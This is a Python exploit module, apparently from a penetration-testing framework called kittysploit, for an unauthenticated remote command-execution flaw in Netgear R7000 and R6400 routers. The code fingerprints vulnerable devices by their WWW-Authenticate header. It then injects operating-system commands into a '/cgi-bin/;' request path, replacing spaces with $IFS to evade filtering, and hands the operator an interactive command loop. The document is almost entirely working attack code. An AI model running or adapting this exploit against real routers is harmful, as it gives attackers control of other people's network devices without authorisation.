Netgear R7000 & R6400 RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Netgear R7000 & R6400 RCE"""


from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Netgear R7000 & R6400 RCE',
        'description': 'Module exploits remote command execution in Netgear R7000 and R6400 devices. If the target is vulnerable, command loop is invoked that allows executing commands on operating system level.',
        'author': ['Chad Dougherty', 'Marcin Bury'],
        
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['http://www.sj-vs.net/a-temporary-fix-for-cert-vu582384-cwe-77-on-netgear-r7000-and-r6400-routers/', 'https://www.exploit-db.com/exploits/40889/', 'http://www.kb.cert.org/vuls/id/582384'],
        'tags': ['iot', 'router', 'rce', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")

    def execute(self, cmd):
        cmd = cmd.replace(" ", "$IFS")
        path = "/cgi-bin/;{}".format(cmd)

        self.http_request(
            method="GET",
            path=path
        )
        return ""
    def check(self):
        response = self.http_request(
            method="HEAD",
            path="/",
        )

        if response is None:
            return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}  # target is not vulnerable

        if "WWW-Authenticate" in response.headers.keys():
            if any(map(lambda x: x in response.headers['WWW-Authenticate'], ["NETGEAR R7000", "NETGEAR R6400"])):
                return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}  # target is vulnerable

        return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}  # target is not vulnerable

    def run(self):
        result = self.check()
        if isinstance(result, dict):
            if not result.get("vulnerable"):
                self.not_vulnerable()
                return False
        elif not result:
            self.not_vulnerable()
            return False
        print_success("Target appears vulnerable")
        return self.handler_execute()